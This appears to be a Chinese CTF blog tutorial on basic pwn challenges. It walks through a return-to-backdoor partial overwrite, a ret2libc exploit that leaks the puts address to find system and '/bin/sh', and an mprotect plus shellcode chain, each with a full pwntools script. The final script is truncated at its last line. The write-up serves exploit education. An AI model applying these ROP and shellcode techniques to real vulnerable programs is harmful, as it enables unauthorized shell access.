CTF中的pwn基础题

有后门(/bin/sh)

先用checksec指令查看:只有NX保护且为64位。

 用64位IDA打开

发现有栈溢出且溢出了一个字节,shift+f12查看发现有后门函数

双击跟进确认后门函数的地址位0x401209

通过调试发现,main函数与后门函数的地址相差一个字节,所以将09打包成一个字节。

编写脚本:

from pwn import *
context(log_level='debug',os='linux',arch='amd64')
p=process("./pwn1")
elf=ELF("./pwn1")
def bug():
    gdb.attach(p)
    pause()

pay=b'a'*(0x20+8)+p8(0x9)
bug()
p.send(pay)
p.interactive()

本地调试成功!

ret2libc例题

先用checksec指令查看:只有NX保护且为64位。

用64位IDA打开

双击进入ctfshow函数,发现存在栈溢出

通过shift+f12查看是否有后门函数

通过观察IDA中左边的函数,发现没有后门函数,也没有system函数考虑使用ret2libc解题。

64位的传参方式是靠寄存器

一般的寄存器(rdi  ,  rsi  ,  rdx)

动态链接库elf文件想要执行,先跳转到libc信息库,然后才能运行

如果把libc与elf放在一起,就是一个静态链接库,程序可正常运行。

静态链接库内存占用比较大,动态链接库占用很小,只有特定几个函数代码。

动态链接库elf文件想要执行,先跳转到libc信息库,然后才能运行。

elf跟libc是两个单独的文件,elf里的函数想要执行,就得先进入plt表,然后在进入got,got表里的是函数的真实地址。

编写脚本:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./pwn2")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF("./pwn2")
def bug():
	gdb.attach(p)
	pause()
main=0x400745
pop_rdi=0x00000000004007e3


payload=b'a'*(0x20+8)+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main)

p.sendline(payload)
#leek libc_base================================================
puts_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base=puts_addr-libc.sym['puts']
print(hex(libc_base))
system=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search(b"/bin/sh\x00").__next__()
#==============================================================

payload=b'a'*(0x20+8)+p64(pop_rdi)+p64(bin_sh)+p64(pop_rdi+1)+p64(system)
bug()
p.sendline(payload)

p.interactive()

 通过下面这行脚本找到寄存器的地址

ROPgadget --binary pwn2  --only 'pop|ret' 

 

 

 下面这些代码是通过gdb在libc库里面找到的libc基址以及函数的真实地址

puts_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base=puts_addr-libc.sym['puts']
print(hex(libc_base))
system=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search(b"/bin/sh\x00").__next__()

payload=b'a'*(0x20+8)+p64(pop_rdi)+p64(bin_sh)+p64(pop_rdi+1)+p64(system)

 

这里p64(pop_rdi+1)是因为在调试的时候我们会发现存在栈对齐

 第二种方法:

通过shift+f12观察到让我们使用mprotect函数解题

先了解一下mprotect函数

mprotect 函数用于设置一块内存的保护权限(将从 start 开始、长度为 len 的内存的保护属性修改为 prot 指定的值)

mprotect(start_addr,len,prot)

len一般为很大的数(如:0x1000)

post  (7为可读可写可执行)

例如:

mprotect(0x80EB000,0x1000,7)

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./pwn2")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF("./pwn2")
def bug():
	gdb.attach(p)
	pause()
ctfshow_addr=0x400637
rdi=0x00000000004007e3
p.recvuntil("Hello CTFshow\n")
pay=b'a'*(0x20+8)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(ctfshow_addr)
bug()
p.sendline(pay)

puts_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base=puts_addr-libc.sym['puts']
print(hex(libc_base))
mprotect=libc_base+libc.sym['mprotect']
bss=0x602000
rdi=libc_base+0x0000000000023b6a
rsi=libc_base+0x000000000002601f
rdx_r12=libc_base+0x0000000000119431
p.recvuntil("Hello CTFshow\n")
pay=b'a'*(0x20+8)+p64(rdi)+p64(bss)+p64(rsi)+p64(0x1000)+p64(rdx_r12)+p64(7)*2+p64(mprotect)+p64(rdi)+p64(bss)+p64(elf.plt['gets'])+p64(bss)
p.sendline(pay)
pause()
shellcode=asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive(

运用mprotect函数来获取权限

结合libc,shellcode

shellcode与system("bin/sh")的作用相同

asm(shellcraft.sh())是生成shellcode的代码

  • 12
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值